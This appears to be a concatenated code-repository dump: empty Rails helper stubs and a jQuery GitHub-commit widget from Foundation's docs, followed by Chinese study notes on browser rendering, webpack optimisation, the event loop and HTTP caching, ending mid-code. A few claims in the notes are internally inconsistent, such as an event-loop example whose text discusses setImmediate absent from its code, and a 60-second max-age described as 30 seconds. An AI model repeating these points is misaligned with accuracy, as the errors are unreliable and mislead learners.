<file_sep>require 'test_helper' class Features::IndexHelperTest < ActionView::TestCase end <file_sep>module Example::GridHelper end <file_sep>module CaseStudies::IndexHelper end <file_sep>$(document).ready(function () { var month = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']; $.ajax({ url: "https://api.github.com/repos/zurb/foundation/commits", dataType: 'jsonp', success: function (json) { var latest = json.data[0], stamp = new Date(latest.commit.committer.date), stampString = month[stamp.getMonth()] + ' ' + stamp.getDate() + ', ' + stamp.getFullYear(); $('#github .description').text(latest.commit.message); $('#github .date').text(stampString); $('#github .commit').html('Commit ' + latest.sha + ' &raquo;'); $('#github .commit').attr('href', "https://github.com/zurb/foundation/commit/" + latest.sha); } }); $.ajax({ dataType: 'jsonp', url: 'https://api.github.com/repos/zurb/foundation?callback=foundationGithub', success: function (response) { var watchers = (Math.round((response.data.watchers / 100), 10) / 10).toFixed(1); $('.watchers').html(watchers + 'k<small></small>'); } }); }); <file_sep>//= require jquery //= require jquery_ujs //= require foundation //= require foundation/jquery.offcanvas //= require jquery.pjax //= require highlight.pack //= require github //= require download <file_sep>class Features::BaseController < ApplicationController end<file_sep>require 'test_helper' class Docs::IndexHelperTest < ActionView::TestCase end <file_sep>require 'test_helper' class Example::PrototypeHelperTest < ActionView::TestCase end <file_sep>module Features::IndexHelper end <file_sep>require 'test_helper' class Examples::MobileHelperTest < ActionView::TestCase end
68346933c457dce0a4ff8da52655eb264415fe6d
[ "JavaScript", "Ruby" ]
24
Ruby
zurb/ARCHIVED-foundation-docs
00654417f4aace93e7f6cd09a82c6cc89554aa34
1c33f4a22534d954485a46efcc848446f62fac29
refs/heads/master
<file_sep>import React from 'react'; import PropTypes from 'prop-types'; import styles from './feedback.module.css' const Feedback = ({ options, onLeaveFeedback }) => { return ( <> {options.map((option) => ( <button type="button" className={styles.feedBtn} key={option} onClick={() => onLeaveFeedback(option)}>{option}</button> ))} </> ) }; Feedback.propTypes = { options: PropTypes.arrayOf(PropTypes.string).isRequired, onLeaveFeedback: PropTypes.func.isRequired, } export default Feedback;
7db2a984b804e7b4b53721a9138d096e0b0ed9e0
[ "JavaScript" ]
1
JavaScript
irob4ik/goit-react-hw-04-hooks-feedback
6a4e9131665e6b7c9d81f171b501947957e6e6d6
a0c2f8dfc387b56c9566900276f78b2b99a0061c
refs/heads/master
<repo_name>WjmNightingale/-<file_sep>/渲染机制/浏览器渲染机制.md # 浏览器渲染机制 学习浏览器渲染原理更多的是为了解决性能的问题,如果开发者不了解这部分的知识,你就不知道什么情况下会对性能造成损伤。并且渲染原理在面试中答得好,也是一个能与其他候选人拉开差距的一点。 我们知道执行 JS 有一个 JS 引擎,那么执行渲染也有一个渲染引擎。同样,渲染引擎在不同的浏览器中也不是都相同的。比如在 Firefox 中叫做 Gecko,在 Chrome 和 Safari 中都是基于 WebKit 开发的。在这一章节中,我们也会主要学习关于 WebKit 的这部分渲染引擎内容。 ## 浏览器是怎么解析 HTML 文件的 当我们打开一个网页时,浏览器都会去请求对应的 HTML 文件。虽然平时我们写代码时都会分为 JS、CSS、HTML 文件,也就是字符串,但是计算机硬件是不理解这些字符串的,所以在网络中传输的内容其实都是 0 和 1 这些字节数据。当浏览器接收到这些字节数据以后,它会将这些字节数据转换为字符串,也就是我们写的代码。 当数据转换为字符串以后,浏览器会先将这些字符串通过词法分析转换为标记(token),这一过程在词法分析中叫做标记化(tokenization)。 那么什么是标记呢?这其实属于编译原理这一块的内容了。简单来说,标记还是字符串,是构成代码的最小单位。这一过程会将代码分拆成一块块,并给这些内容打上标记,便于理解这些最小单位的代码是什么意思。 当结束标记化后,这些标记会紧接着转换为 Node,最后这些 Node 会根据不同 Node 之间的联系构建为一颗 DOM 树 以上就是浏览器从网络中接收到 HTML 文件然后一系列的转换过程。 当然,在解析 HTML 文件的时候,浏览器还会遇到 CSS 和 JS 文件,这时候浏览器也会去下载并解析这些文件,接下来就让我们先来学习浏览器如何解析 CSS 文件。 ## 浏览器是怎么解析 CSS 文件的 其实转换 CSS 到 CSSOM 树的过程和上一小节的过程是极其类似的 在这一过程中,浏览器会确定下每一个节点的样式到底是什么,并且这一过程其实是很消耗资源的。因为样式你可以自行设置给某个节点,也可以通过继承获得。在这一过程中,浏览器得递归 CSSOM 树,然后确定具体的元素到底是什么样式 如果你有点不理解为什么会消耗资源的话,我这里举个例子 ```html <section> <style> span { color: red; } div > a > span { color: red; } </style> <div> <a> <span></span> </a> </div> </section> ``` 对于第一种设置样式的方式来说,浏览器只需要找到页面中所有的 span 标签然后设置颜色,但是对于第二种设置样式的方式来说,浏览器首先需要找到所有的 span 标签,然后找到 span 标签上的 a 标签,最后再去找到 div 标签,然后给符合这种条件的 span 标签设置颜色,这样的递归过程就很复杂。所以我们应该尽可能的避免写过于具体的 CSS 选择器,然后对于 HTML 来说也尽量少的添加无意义标签,保证层级扁平。 ## DOM 树和 CSSOM 树合并成渲染树 当浏览器生成 DOM 树和 CSSOM 树以后,就需要将这两棵树组合为渲染树。 在这一过程中,不是简单的将两者合并就行了。渲染树只会包括需要显示的节点和这些节点的样式信息,如果某个节点是 display: none 的,那么就不会在渲染树中显示。 当浏览器生成渲染树以后,就会根据渲染树来进行布局(也可以叫做回流),然后调用 GPU 绘制,合成图层,显示在屏幕上。对于这一部分的内容因为过于底层,还涉及到了硬件相关的知识,这里就不再继续展开内容了。 那么通过以上内容,我们已经详细了解到了浏览器从接收文件到将内容渲染在屏幕上的这一过程。接下来,我们将会来学习上半部分遗留下来的一些知识点。 ## 为什么 DOM 操作慢 大家都听过操作 DOM 性能很差,但是这其中的原因是什么呢? 因为 DOM 是属于渲染引擎中的东西,而 JS 又是 JS 引擎中的东西。当我们通过 JS 操作 DOM 的时候,其实这个操作涉及到了两个线程之间的通信,那么势必会带来一些性能上的损耗。操作 DOM 次数一多,也就等同于一直在进行线程之间的通信,并且操作 DOM 可能还会带来重绘回流的情况,所以也就导致了性能上的问题。 比如一个经典的题目:插入几万个 DOM,如何实现页面不卡顿? 对于这道题目来说,首先我们肯定不能一次性把几万个 DOM 全部插入,这样肯定会造成卡顿,所以解决问题的重点应该是**如何分批次部分渲染 DOM**。 大部分人应该可以想到通过 requestAnimationFrame 的方式去循环的插入 DOM,其实还有种方式去解决这个问题:虚拟滚动(virtualized scroller)。 虚拟滚动技术的原理就是只渲染可视区域内的内容,非可见区域的那就完全不渲染了,当用户在滚动的时候就实时去替换渲染的内容。 从上图中我们可以发现,即使列表很长,但是渲染的 DOM 元素永远只有那么几个,当我们滚动页面的时候就会实时去更新 DOM,这个技术就能顺利解决这道经典面试题。如果你想了解更多的内容可以了解下这个 [react-virtualized](https://link.juejin.im/?target=https%3A%2F%2Fgithub.com%2Fbvaughn%2Freact-virtualized)。 ## 什么情况阻塞渲染 首先渲染的前提是生成渲染树,所以 HTML 和 CSS 肯定会阻塞渲染。如果你想渲染的越快,你越应该降低一开始需要渲染的文件大小,并且**扁平层级,优化选择器**。 然后当浏览器在解析到 script 标签时,会暂停构建 DOM,完成后才会从暂停的地方重新开始。也就是说,如果你想首屏渲染的越快,就越不应该在首屏就加载 JS 文件,这也是都建议将 script 标签放在 body 标签底部的原因。 当然在当下,并不是说 script 标签必须放在底部,因为你可以给 script 标签添加 defer 或者 async 属性。 当 script 标签加上 defer 属性以后,表示该 JS 文件会并行下载,但是会放到 HTML 解析完成后顺序执行,所以对于这种情况你可以把 script 标签放在任意位置。 对于没有任何依赖的 JS 文件可以加上 async 属性,表示 JS 文件下载和解析不会阻塞渲染。 ## 浏览器重绘(Repaint)和回流(Reflow) 重绘和回流会在我们设置节点样式时频繁出现,同时也会很大程度上影响性能。 - 重绘是当节点需要更改外观而不会影响布局的,比如改变 color 就叫称为重绘 - 回流是布局或者几何属性需要改变就称为回流。 回流必定会发生重绘,重绘不一定会引发回流。回流所需的成本比重绘高的多,改变父节点里的子节点很可能会导致父节点的一系列回流。 以下几个动作可能会导致性能问题: 1. 改变 window 大小 2. 改变字体 3. 添加或删除样式 4. 文字改变 5. 定位或者浮动 6. 盒模型 并且很多人不知道的是,重绘和回流其实也和 EventLoop 有关。 1. 当 EventLoop 执行完 MicroTasks 任务队列后,会判断 document 是否需要更新,因为浏览器是 60Hz 的刷新率,每 16.6ms 才会更新一次。 2. 然后判断是否有 resize 或者 scroll 事件,有的话会去触发事件,所以 resize 和 scroll 事件也是至少 16ms 才会触发一次,并且自带节流功能。 3. 判断是否触发了 media query 4. 更新动画并且发送事件 5. 判断是否有全屏操作事件 6. 执行 requestAnimationFrame 回调 7. 执行 IntersectionObserver 回调,该方法用于判断元素是否可见,可以用于懒加载上,但是兼容性不好 8. 更新界面 9. 以上就是一帧中可能会做的事情。如果在一帧中有空闲时间,就会去执行 requestIdleCallback 回调。 既然我们已经知道了重绘和回流会影响性能,那么接下来我们将会来学习如何减少重绘和回流的次数 ## 如何减少重绘和回流的次数 - 使用 `transform` 替代 `top` - 使用 `visibility` 替换 `display: none` ,因为前者只会引起重绘,后者会引发回流(改变了布局) - 不要把节点的属性值放在一个循环里当成循环里的变量 - 不要使用 table 布局,可能很小的一个小改动会造成整个 table 的重新布局 - 动画实现的速度的选择,动画速度越快,回流次数越多,也可以选择使用 requestAnimationFrame - CSS 选择符从右往左匹配查找,避免节点层级过多 - 将频繁重绘或者回流的节点设置为图层,图层能够阻止该节点的渲染行为影响别的节点。比如对于 video 标签来说,浏览器会自动将该节点变为图层。设置节点为图层的方式有很多,我们可以通过以下几个常用属性可以生成新图层 - `will-change`属性 - video、iframe 标签 ## 思考题 在不考虑缓存和优化网络协议的前提下,考虑可以通过哪些方式来最快的渲染页面,也就是常说的关键渲染路径,这部分也是性能优化中的一块内容。 首先你可能会疑问,那怎么测量到底有没有加快渲染速度呢? 当发生`DOMContentLoaded`事件后,就会生成渲染树,渲染树生成以后就可以渲染了,这一个过程更大程度和硬件相关了,所以我们要考虑的是如何快速生成渲染树 1. 从文件大小考虑 2. 从 script 标签使用上来考虑 3. 从 CSS、HTML 的代码书写上来考虑 4. 从需要下载的内容是否需要在首屏使用上来考虑 <file_sep>/webpack/webpack打包相关.md # webpack 打包优化 webpack 打包性能优化两方面 1. 有哪些方式可以减少 Webpack 的打包时间 2. 有哪些方式可以让 Webpack 打出来的包更小 ## 1. 减少 Webpack 打包时间 ### 1.1 优化 Loader 对于 Loader 来说,影响打包效率首当其冲必属 Babel 了。因为 Babel 会将代码转为字符串生成 AST,然后对 AST 继续进行转变最后再生成新的代码,项目越大,转换代码越多,效率就越低。当然了,我们是有办法优化的。 首先我们可以优化 Loader 的文件搜索范围 ```js module.exports = { module: { rules: [ { // js 文件才使用 babel 转化 test: /\.js$/, loader: 'babel-loader', // 只在 src 文件下面查找 include: [resolve('src')], // 不会去查找的路径 exclude: /node_modules/ } ] } } ``` 对于 Babel 来说,我们肯定是希望只作用在 JS 代码上的,然后 node_modules 中使用的代码都是编译过的,所以我们也完全没有必要再去处理一遍。 当然这样做还不够,我们还可以将 Babel 编译过的文件缓存起来,**下次只需要编译更改过的代码文件即可**,这样可以大幅度加快打包时间 ```js loader: `babel-loader?cacheDirectory=true` ``` ### 1.2 HappyPack 受限于 Node 是单线程运行的,所以 Webpack 在打包的过程中也是单线程的,特别是在执行 Loader 的时候,长时间编译的任务很多,这样就会导致等待的情况。 HappyPack 可以将 Loader 的同步执行转换为并行的,这样就能充分利用系统资源来加快打包效率了 ```js module.exports = { module: { loaders: [ { test: /\.js$/, include: [resolve('src')], exclude: /node_modules/, // id对应下面的内容 loader: `happypack/loader?id=happybabel` } ] }, plugins: [ new HappyPack({ id: 'happybabel', loader: ['babel-loader?cacheDirectory'], // 开启四个线程 threads: 4 }) ] } ``` ### 1.3 DllPlugin DllPlugin 可以将特定范围的类库提前打包然后引入。这种方式可以极大地减少打包类库的次数,只有当类库更新版本的时候才有需要重新打包,并且还实现了将公共代码抽离成单独文件的优化方案 我们来学习 DllPlugin 的配置 ```js // 单独配置在一个文件当中 // webpack.dll.conf.js const path = require('path') const webpack = require('webpack') module.exports = { entry: { // 想统一打包的类库 vendor: ['react'] }, output: { path: path.join(__dirname, 'dist'), filename: '[name].dll.js', library: '[name]-[hash]' }, plugins: [ new webpack.DllPlugin({ // name 必须和 DllReferencePlugin中一致 context: __dirname, path: path.join(__dirname, 'dist', '[name]-manifest.json') }) ] } ``` 然后我们需要执行这个配置文件生成依赖文件,接下来我们需要使用 DllReferencePlugin 将依赖文件引入项目中 ```js // webpack.conf.js module.exports = { // ...省略其他位置 plugins: [ new webpack.DllReferencePlugin({ context: __dirname, // manifest 就是之前打包出来的json文件 manifest: require('./dist/vendor-manifest.json') }) ] } ``` ### 1.4 代码压缩 在 Webpack3 中,我们一般使用 UglifyJS 来压缩代码,但是这个是单线程运行的,为了加快效率,我们可以使用 webpack-parallel-uglify-plugin 来并行运行 UglifyJS,从而提高效率。 在 Webpack4 中,我们就不需要以上这些操作了,只需要将 mode 设置为 production 就可以默认开启以上功能。代码压缩也是我们必做的性能优化方案,当然我们不止可以压缩 JS 代码,还可以压缩 HTML、CSS 代码,并且在压缩 JS 代码的过程中,我们还可以通过配置实现比如删除 console.log 这类代码的功能。 ### 1.5 其他小的优化点 我们还可以通过一些小的优化点来加快打包速度 1. `resolve.extensions`:用来表明文件后缀列表,默认查找顺序是 ['.js', '.json'],如果你的导入文件没有添加后缀就会按照这个顺序查找文件。我们应该尽可能减少后缀列表长度,然后将出现频率高的后缀排在前面 2. `resolve.alias`:可以通过别名的方式来映射一个路径,能让 Webpack 更快找到路径 3. `module.noParse`:如果你确定一个文件下没有其他依赖,就可以使用该属性让 Webpack 不扫描该文件,这种方式对于大型的类库很有帮助 ## 2. 减少 Webpack 打包后的文件体积 ### 2.1 按需加载 想必大家在开发 SPA 项目的时候,项目中都会存在十几甚至更多的路由页面。如果我们将这些页面全部打包进一个 JS 文件的话,虽然将多个请求合并了,但是同样也加载了很多并不需要的代码,耗费了更长的时间。那么为了首页能更快地呈现给用户,我们肯定是希望首页能加载的文件体积越小越好,这时候我们就可以使用按需加载,将每个路由页面单独打包为一个文件。当然不仅仅路由可以按需加载,对于 `loadash` 这种大型类库同样可以使用这个功能。 按需加载的代码实现这里就不详细展开了,因为鉴于用的框架不同,实现起来都是不一样的。当然了,虽然他们的用法可能不同,但是底层的机制都是一样的。都是当使用的时候再去下载对应文件,返回一个 Promise,当 Promise 成功以后去执行回调 ## 2.2 Scope Hoisting Scope Hoisting 会分析出模块之间的依赖关系,尽可能的把打包出来的模块合并到一个函数中去。 比如我们希望打包两个文件 ```js // test.js export const a = 1 // index.js import { a } from './test.js' ``` 对于这种情况,我们打包出来的代码会类似这样 ```js ;[ /* 0 */ function(module, exports, require) { //... }, /* 1 */ function(module, exports, require) { //... } ] ``` 但是如果我们使用 Scope Hoisting 的话,代码就会尽可能的合并到一个函数中去,也就变成了这样的类似代码 ```js ;[ /* 0 */ function(module, exports, require) { //... } ] ``` 这样的打包方式生成的代码明显比之前的少多了。如果在 Webpack4 中你希望开启这个功能,只需要启用 `optimization.concatenateModules` 就可以了。 ```js module.exports = { optimization: { concatenateModules: true } } ``` ### 2.3 Tree Shaking Tree Shaking 可以实现删除项目中未被引用的代码,比如 ```js // test.js export const a = 1 export const b = 2 // index.js import { a } from './test.js' ``` 对于以上情况,test 文件中的变量 b 如果没有在项目中使用到的话,就不会被打包到文件中。 如果你使用 Webpack 4 的话,开启生产环境就会自动启动这个优化功能。 <file_sep>/Event-Loop/knowledge.md # Event Loop ## 几个概念 Event Loop,是 JS 处理异步任务时,为了协调事件(event)、用户交互(user interaction)、脚本(script)、渲染(rendering)、网络(networking)等,用户代理(user agent)必须使用事件循环(event loop)来实现 那事件又是什么呢?事件可以理解为由于某种外在或内在状态的变化,从而导致系统出现了对应的反应,比如用户点击了一个按钮,HTML 页面加载完毕,或者设置了一个定时器`setTimeout`等,这些都是一个事件。一个事件中,会包含若干个任务。 我们知道,JavaScript 引擎又称为 JavaScript 解释器(按照 ECMA 标准来解释的),是将 JS 脚本解释为机器码的工具,不同的 JS 的 Runtime (宿主环境)会有不同的解释器,比如 Node.js、Chrome 浏览器的 JS 引擎 是 V8,而对 Safari 则是 JavaScript Core。而根据 JS 的宿主环境不同,Event loop 也有不同的实现,比如 Node 使用了 libuv 库来实现 Event loop; 而在浏览器中,html 规范定义了 Event loop,具体的实现则交给不同的厂商去完成。 所以,浏览器的 Event Loop 是不同于 Node 的 Event Loop 的 ## 为什么要了解 Event Loop 在实际工作中,了解 Event loop 的意义能帮助你分析一些异步次序的问题(当然,随着 es7 `async` 和 `await` 的流行,这样的机会越来越少了)。除此以外,它还对你了解浏览器和 Node 的内部机制有积极的作用;对于参加面试,被问到一堆异步操作的执行顺序时,也不至于两眼抓瞎。 ## 浏览器的 Event Loop 在 JS 中,任务被分为宏任务(Macro Task)和微任务(Micro Task)两种,它们分别包含如下内容 - Macro Task:script(整体代码)、setTimeout、setInterval、setImmediate(Nod 独有)、I/O 任务,UI Rendering 任务 - Micro Task:process.nextTick(Node 独有)、Promise.then、Object.observe(已经被废弃)、MutationObserver 需要注意的一点就是,在同一个上下文当中,总的执行顺序是 **同步代码->Micro Task->Macro Task** 浏览器中,一个事件循环里有很多个来自不同任务源的队列(task queues),每一个任务队列里是严格按照先进先出的顺序执行的。但是,因为**浏览器可以调度任务执行顺序**,所以**不同的任务队列的任务,执行顺序是不确定的** 具体来说,浏览器会**不断地从任务队列(task queues)中按照顺序取出 task,每执行完一个 task 都会检查 micro task 队列是否为空(执行完一个 task 的具体标志是函数执行栈为空)**,如果不为空则机会一次性执行完所有的 micro task。然后再进入下一个循环主线程去 task 队列中取下一个 task 执行,以此类推 ![浏览器的event loop](https://segmentfault.com/img/bV6itK?w=810&h=414) 注意:图中橙色的 macro task 任务队列也应该也是不断地被切换的 ## Node.js 中的 Event Loop Node.js 中的 event loop 分为 6 个阶段,它们会按照顺序反复运行,分别如下: 1. timers: 执行 setTimeout()和 setInterval()中的到预设时间的 callback 2. I/O callback: 上一轮循环中少有的 I/O callback 会被延迟到这一轮的这一阶段执行 3. idle,prepare:队列的移动,仅内部使用 4. poll:最为重要的阶段,执行 I/O callback,在适当的条件下会阻塞在这个阶段 5. check:执行`setImmediate`的 callback 6. close callbacks:执行 `close` 事件的 `callback`,例如 socket.on('close', fn) 不同于浏览器,Node.js 是在每个阶段完成后,micro task 队列就会被执行(浏览器则是 macro task 任务完成以后)。这就导致了同样的代码在不同的上下文环境下会出现不同的结果。我们会在下文讨论中讨论到 另外需要注意的是,如果`timers`阶段执行时创建了`setImmediate`则会在此轮循环的`check`阶段执行,如果`timers`阶段创建了`setTimeout`,由于`timers`取出完毕,则会进入下轮循环,`check`阶段创建`timers`任务同理 ## 浏览器与 Node.js 中执行顺序的区别 ```js setTimeout(() => { console.log('timer-one') Promise.resolve().then(() => { console.log('promise-one') }) }, 0) setTimeout(() => { console.log('timer-two') Promise.resolve().then(() => { console.log('promise-two') }) }, 0) // 浏览器输出顺序 // 'timer-one'->'promise-one'->'timer-two'->'promise-two' // Node.js输出顺序 // 'timer-one'->'timer-two'->'promise-one'->'promise-two' ``` 在以上例子中,Node.js 代码执行逻辑如下: 最初的 timer1 和 timer2 就在 Node.js 的 times 阶段中。Node.js 首先进入 timers 阶段,执行 timer1 的回调函数,打印 'timer-one',并且将`promise1.then()`回调放入 micro task 队列,同样的步骤执行 timer2,打印 'timer-two'。至此,Node.js 中的 timer 阶段执行结束,Event Loop 进入下一个阶段之前,执行 micro task 队列的所有任务,依次打印 'promise-one' 、'promise-two' 而浏览器则是因为两个 `setTimeout` 作为两个 Macro Task,所以先输出 'timer-one'、'promise-one',然后再是 'timer-two'、'promise-two' 鉴于 Node.js 中不同浏览器的 Event Loop 执行顺序,我们再看看以下代码 ```js setTimeout(() => { console.log('timer1') Promise.resolve().then(() => { console.log('promise1') }) }) setTimeout(() => { console.log('timer2') Promise.resolve().then(() => { console.log('promise2') }) }, 0) // Node.js 中的输出 // timer1 timer2 // promise1 或者 promise2 // timer2 timer1 // promise2 promise2 ``` 按理来说,`setTimeout(fn, 0)`应该比`setImmediate(fn)`快,应该只有两种第二种结果,为什么会出现两种结果呢?这是因为 Node.js 做不到 0 毫秒,最少也需要 1 毫秒。实际执行的时候,进入事件循环以后,有可能到了 1 毫秒,也有 还没到 1 毫秒,取决于系统当时的状况。如果还没到 1 毫秒,那么 timers 阶段就会跳过,进入 check 阶段,先执行 setImmediate 的回调函数。 另外,如果跳过了 timer 阶段,那么 setImmediate 会比 setTimeout 更快,例如 ```js const fs = require('fs') fs.readFile('test.js', () => { setTimeout(() => console.log('1')) setImmediate(() => console.log('2')) }) ``` 上面的代码会先进入 I/O callbacks 阶段,然后就是 check 阶段,最后才是 timer 阶段,因此 setImmediate 才会早于 setTimeout 执行 ## 不同异步任务执行的顺序不同 看代码 ```js setTimeout(() => console.log('1')) setImmediate(() => console.log('2')) Promise.resolve().then(() => { console.log('3') }) process.nextTick(() => { console.log('4') }) // Node.js 的输出环境 // 4 3 2 1 // 4 3 1 2 ``` 因为我们上文说过 micro task 会优先于 macro task 运行,所以先输出下面两个,而在 Node.js 中的 `process.nextTick()`比在`Promise.then()`更加优先,而又根据之前我们提到的 Node.js 中没有绝对意义上的 0 ms,所以 1 2 的顺序不对 ## micro task 队列和 macro task 队列 ```js setTimeout(() => { console.log('1') }, 0) console.log('2') process.nextTick(() => { console.log('3') }) new Promise((resolve, reject) => { console.log('4') resolve() }).then(() => { console.log('5') }) setImmediate(() => { console.log('6') }) console.log('end') // Node 输出 // 2 4 end 3 5 1 6 ``` `new Promise()`中是同步代码,`then`和`catch`才是异步,所以`console.log('4')`要同步输出,然后 `Promise.then()`位于`micro task`当中,优于其他位于`macro task`队列中的任务,所以`console.log('5')`会优先`console.log('1')`和`console.log('6')`输出,而 timer 阶段又会优先于 check 阶段,所以 1 会先输出 ## 总结 综上,关于最关键的顺序,我们要依据以下几条规则: 1. 同一个上下文中,Micro Task 要优先于 Macro Task 先执行 2. 然后浏览器按照一个 Macro Task 任务,所有 Micro Task 的顺序运行,Node.js 按照六个阶段的顺序运行,并在每个阶段后面都会运行MicroTask队列 3. 同个 Micro Task 队列下 `process.tick()` 会优于`Promise`<file_sep>/MVVM的伪代码/observer.js function Dep() { this.target = null // 回调维护中心 this.subs = [] } Dep.prototype.addSub = function (sub) { // 添加回调事件 this.subs.push(sub) } Dep.prototype.notify = function() { // 通知更新 this.subs.forEach((sub) => { // sub 是观察者 Watcher 的实例 sub.update() }) } // observe 动词 观察 // observer 名词 观察者 function observe(value) { if (!value || typeof value !== 'object') { return } return new Observer(value) } function Observer(data) { this.data = data // 遍历数据对象属性 this.walk(data) } Observer.prototype.walk = function(data) { Object.keys(data).forEach((key) => { // 重定义 数据对象 get 和 set this.defineReactive(data, key, data[key]) }) } Observer.prototype.defineReactive = function(data, key, val) { var dep = new Dep() Object.defineProperty(data, key, { enumerable: false, configurable: true, // 读取 vm.data[key] 会触发 get: function () { if (Dep.target) { dep.addSub(Dep.target) } return val }, // 设置 vm.data[key] 会触发 set: function (newVal) { if (newVal === val) { return } val = newVal // 通知数据更新 dep.notify() } }) if (typeof val === 'object') { // 递归 observe(val) } }<file_sep>/浏览器缓存机制/浏览器缓存.md # 浏览器缓存机制 缓存可以说是性能优化中简单高效的一种优化方式了,它可以显著减少网络传输所带来的损耗 对于一个数据请求来说,可以分为发起网络请求、后端处理、浏览器响应三个步骤。浏览器缓存可以帮助我们在第一和第三步骤中优化性能。如说直接使用缓存而不发起请求,或者发起了请求但后端存储的数据和前端一致,那么就没有必要再将数据回传回来,这样就减少了响应数据。 接下来的内容中我们将通过以下几个部分来探讨浏览器缓存机制: - 缓存位置 - 缓存策略 - 实际场景应用缓存策略 ## 1 缓存位置 从缓存位置上来讲,缓存分为四种,并且拥有各自的优先级。当依次查找缓存且没有命中缓存时,才去请求服务器数据 按位置区分这四种缓存分别是 1. Service Worker 2. Memory Cache 3. Disk Cache 4. Push Cache ### 1.1 Service Worker Service Worker 的缓存与浏览器其他内建的缓存机制不同,它可以让开发者自由控制缓存哪些文件,如何命中缓存、如何读取缓存,并且它缓存的内容是持续性的。 当 Service Worker 没有命中缓存时,我们需要调用`fetch`函数去请求数据。也就是说,如果在 Service Worker 中没有命中缓存的话,会根据缓存优先级去查找数据,但是无论浏览器是从 Memory Cache 获取到的数据,还是网络请求获取到的数据,浏览器都会显示是从 Service Worker 中获得的 ### 1.2 Memory Cache Memory Cache 也就是内存中的缓存,读取内存中的数据肯定比磁盘的要快(Disk Cache)。**但是内存虽然读取速度快,但是缓存持续性很短,会随着进程的释放而释放**。一旦用户关闭了 tab 页面,内存中的缓存也就被释放了。 平常当我们访问页面后,再次刷新页面时,可以发现很多数据是来自内存缓存。 但是内存容量有限,所以内存虽然可以存储 JS、HTML、CSS、图片等,但是大文件显然不适合存储的。 ### 1.3 Disk Cache Disk Cache 也就是存储在硬盘中的缓存,读取速度慢点,但是什么都能存储到磁盘中,比之 Memory Cache 胜在容量和存储时效性上。 在所有浏览器缓存中,Disk Cache 覆盖面基本是最大的。它会根据 HTTP Herder 中的字段判断哪些资源需要缓存,哪些资源可以不请求直接使用,哪些资源已经过期需要重新请求。并且即使在跨站点的情况下,相同地址的资源一旦被硬盘缓存下来,就不会再次去请求数据。 ### 1.4 Push Cache Push Cache 是 HTTP/2 中的内容,当以上三种缓存都没有命中时,它才会被使用。并且缓存时间也很短暂,只在会话(Session)中存在,一旦会话结束就被释放。 关于它的资料不多,根据网络资料总结有以下几个关键信息 1. 所有的资源都能被推送,但是 Edge 和 Safari 浏览器兼容性不怎么好 2. 可以推送 no-cache 和 no-store 的资源 3. 一旦连接被关闭,Push Cache 就被释放 4. 多个页面可以使用相同的 HTTP/2 连接,也就是说能使用同样的缓存 5. Push Cache 中的缓存只能被使用一次 6. 浏览器可以拒绝接受已经存在的资源推送 7. 你可以给其他域名推送资源 ## 网络请求 如果所有缓存都没有命中的话,那么只能发起请求来获取资源了。 那么为了性能上的考虑,大部分的接口都应该选择好缓存策略,接下来我们就来学习缓存策略这部分的内容。 ## 2. 缓存策略 通常浏览器缓存策略分为两种:强缓存和协商缓存,并且缓存策略都是通过设置 HTTP Header 来实现的。 ### 2.1 强缓存 强缓存可以通过设置两种 HTTP Header 实现:Expires 和 Cache-Control 。强缓存表示在缓存期间不需要请求,state code 为 200。 `Expires`在 http 响应中的用法 ```http Expires: Wed, 22 Oct 2018 08:41:00 GMT ``` Expires 是 HTTP/1 的产物,表示资源会在 Wed, 22 Oct 2018 08:41:00 GMT 后过期,需要再次请求。并且 Expires 受限于本地时间,如果修改了本地时间,可能会造成缓存失效。 `Cache-Control`在 http 响应中的用法 ```http Cache-Control: max-age=60; ``` Cache-Control 出现于 HTTP/1.1,优先级高于 Expires 。该属性值表示资源会在 30 秒后过期,需要再次请求。 Cache-Control 可以在请求头或者响应头中设置,并且可以组合使用多种指令 ```js let directive = 'Cache-Control:' if(Reusable response) { // 资源可以缓存 if (Revalidate each time) { // 每次检查缓存资源是否生效 directive = 'Cache-Control: no-cache' } else { // 不每次检查缓存资源是否生效 if (Cache be able by intermediate caches) { // 缓存资源可以被HTTP代理缓存 directive = 'Cache-Control: public' } else { // 缓存资源不可以被HTTP代理缓存 directive = 'Cache-Control: private' } } } else { // 资源不可以缓存 directive = 'Cache-Control: no-store' } ``` ### 2.2 协商缓存 如果缓存过期了,就需要发起请求验证资源是否有更新。协商缓存可以通过设置两种 HTTP Header 实现:Last-Modified 和 ETag 。 当浏览器发起请求验证资源时,如果资源没有做改变,那么服务端就会返回 304 状态码,并且更新浏览器缓存有效期。 Last-Modified 和 If-Modified-Since: Last-Modified 表示本地文件最后修改日期,If-Modified-Since 会将 Last-Modified 的值发送给服务器,询问服务器在该日期后资源是否有更新,有更新的话就会将新的资源发送回来,否则返回 304 状态码。 但是 Last-Modified 存在一些弊端: - 如果本地打开缓存文件,即使没有对文件进行修改,但还是会造成 Last-Modified 被修改,服务端不能命中缓存导致发送相同的资源 - 因为 Last-Modified 只能以秒计时,如果在不可感知的时间内修改完成文件,那么服务端会认为资源还是命中了,不会返回正确的资源 因为以上这些弊端,所以在 HTTP / 1.1 出现了 ETag 。 ETag 和 If-None-Match: ETag 类似于文件指纹,If-None-Match 会将当前 ETag 发送给服务器,询问该资源 ETag 是否变动,有变动的话就将新的资源发送回来。并且 ETag 优先级比 Last-Modified 高。 以上就是缓存策略的所有内容了,看到这里,不知道你是否存在这样一个疑问。如果什么缓存策略都没设置,那么浏览器会怎么处理? 对于这种情况,浏览器会采用一个启发式的算法,通常会取响应头中的 Date 减去 Last-Modified 值的 10% 作为缓存时间 ## 3. 实际场景应用缓存策略 单纯了解理论而不付诸于实践是没有意义的,接下来我们来通过几个场景学习下如何使用这些理论。 ### 3.1 频繁变动的资源 对于频繁变动的资源,首先需要使用 Cache-Control: no-cache 使浏览器每次都请求服务器,然后配合 ETag 或者 Last-Modified 来验证资源是否有效。这样的做法虽然不能节省请求数量,但是能显著减少响应数据大小 ### 3.2 代码文件 这里特指除了 HTML 外的代码文件,因为 HTML 文件一般不缓存或者缓存时间很短。 一般来说,现在都会使用工具来打包代码,那么我们就可以对文件名进行哈希处理,只有当代码修改后才会生成新的文件名。基于此,我们就可以给代码文件设置缓存有效期一年 Cache-Control: max-age=31536000,这样只有当 HTML 文件中引入的文件名发生了改变才会去下载最新的代码文件,否则就一直使用缓存 <file_sep>/函数防抖与节流/throttle..js // 函数节流的原理 // 在 N 秒内无论事件触发了多少次,事件处理函数只执行一次<file_sep>/JS基础类/js基础.md # js 基础 ## 手写 call--参数列表 ```js Function.prototype.myCall = 